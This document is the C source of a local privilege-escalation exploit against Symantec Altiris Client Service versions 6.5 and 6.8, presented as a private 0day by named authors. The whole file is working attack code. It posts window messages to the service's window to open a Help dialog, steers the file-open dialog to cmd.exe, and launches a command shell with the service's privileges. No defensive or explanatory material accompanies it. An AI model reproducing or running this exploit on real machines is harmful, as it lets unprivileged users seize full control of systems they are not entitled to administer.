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// 0day PRIVATE NOT DISTRIBUTE!!!
//
// Symantec Altiris Client Service Local Exploit (0day)
//
// Affected Versions : Altiris Client 6.5.248
// Altiris Client 6.5.299
// Altiris client 6.8.378
//
// Alex Hernandez aka alt3kx
// ahernandez [at] sybsecurity.com
//
// Eduardo Vela aka sirdarckcat
// sirdarckcat [at] gmail.com
//
// We'll see you soon at ph-neutral 0x7d8
#include "stdio.h"
#include "windows.h"
int main(int argc, char* argv[])
{
HWND lHandle, lHandle2;
POINT point;
int id,a=0;
char langH[255][255];
char langO[255][255];
char wname[]="Altiris Client Service";
strcpy(langH[0x0c],"Aide de Windows");
strcpy(langH[0x09],"Windows Help");
strcpy(langH[0x0a],"Ayuda de Windows");
strcpy(langO[0x0c],"Ouvrir");
strcpy(langO[0x09],"Open");
strcpy(langO[0x0a],"Abrir");
printf("##########################################################\n");
printf("# Altiris Client Service #\n");
printf("# WM_COMMANDHELP Windows Privilege Escalation Exploit #\n");
printf("# by sirdarckcat & alt3kx #\n");
printf("# #\n");
printf("# This exploit is based on www.milw0rm.com/exploits/350 #\n");
printf("# Utility Manager Privilege Elevation Exploit (MS04-019) #\n");
printf("# by Cesar Cerrudo #\n");
printf("##########################################################\n\n");
id=PRIMARYLANGID(GetSystemDefaultLangID());
if (id==0 && (id=PRIMARYLANGID(GetUserDefaultLangID()))){
printf("Lang not found, using english\n");
id=9;
}
char sText[]="%windir%\\system32\\cmd.ex?";
if (argc<2){
printf("Use:\n> %s [LANG-ID]\n\n",argv[0]);
printf("Look for your LANG-ID here:\n");
printf("http://msdn2.microsoft.com/en-us/library/ms776294.aspx\n");
printf("\nAnyway, the program will try to guess it.\n\n");
return 0;
}else{
if (argc==2){
if (langH[atoi(argv[1])]){
id=atoi(argv[1]);
printf("Lang changed\n");
}else{
printf("Lang not supported\n",id);
}
}
}
printf("Using Lang %d\n",id);
printf("Looking for %s..\n",wname);
lHandle=FindWindow(NULL, wname);
if (!lHandle) {
printf("Window %s not found\n", wname);
return 0;
}else{
printf("Found! exploiting..\n");
}
PostMessage(lHandle,0x313,NULL,NULL);
Sleep(100);
SendMessage(lHandle,0x365,NULL,0x1);
Sleep(300);
pp:
if (!FindWindow(NULL, langH[id])){
printf("Help Window not found.. exploit unsuccesful\n");
if (id!=9){
printf("Trying with english..\n");
id=9;
goto pp;
}else{
return 0;
}
}else{
printf("Help Window found! exploiting..\n");
}
SendMessage (FindWindow(NULL, langH[id]), WM_IME_KEYDOWN, VK_RETURN, 0);
Sleep(500);
lHandle = FindWindow("#32770",langO[id]);
lHandle2 = GetDlgItem(lHandle, 0x47C);
Sleep(500);
printf("Sending path..\n");
SendMessage (lHandle2, WM_SETTEXT, 0, (LPARAM)sText);
Sleep(800);
SendMessage (lHandle2, WM_IME_KEYDOWN, VK_RETURN, 0);
lHandle2 = GetDlgItem(lHandle, 0x4A0);
printf("Looking for cmd..\n");
SendMessage (lHandle2, WM_IME_KEYDOWN, VK_TAB, 0);
Sleep(500);
lHandle2 = FindWindowEx(lHandle,NULL,"SHELLDLL_DefView", NULL);
lHandle2 = GetDlgItem(lHandle2, 0x1);
printf("Sending keys..\n");
SendMessage (lHandle2, WM_IME_KEYDOWN, 0x43, 0);
SendMessage (lHandle2, WM_IME_KEYDOWN, 0x4D, 0);
SendMessage (lHandle2, WM_IME_KEYDOWN, 0x44, 0);
Sleep(500);
mark:
PostMessage (lHandle2, WM_CONTEXTMENU, 0, 0);
Sleep(1000);
point.x =10; point.y =30;
lHandle2=WindowFromPoint(point);
Sleep(1000);
printf("Opening shell..\n");
SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0);
Sleep(1000);
SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0);
Sleep(1000);
SendMessage (lHandle2, WM_KEYDOWN, VK_RETURN, 0);
Sleep(1000);
if (!FindWindow(NULL,"C:\\WINDOWS\\system32\\cmd.exe") && !FindWindow(NULL,"C:\\WINNT\\system32\\cmd.exe")){
printf("Failed\n");
if (!a){
a++;
goto mark;
}
}else{
printf("Done!\n");
}
if(!a){
SendMessage (lHandle, WM_CLOSE,0,0);
Sleep(500);
SendMessage (FindWindow(NULL, langH[id]), WM_CLOSE, 0, 0);
SendMessage (FindWindow(NULL, argv[1]), WM_CLOSE, 0, 0);
}else{
printf("The exploit failed, but maybe the context window of the shell is visibile.\n");
}
return 0;
}
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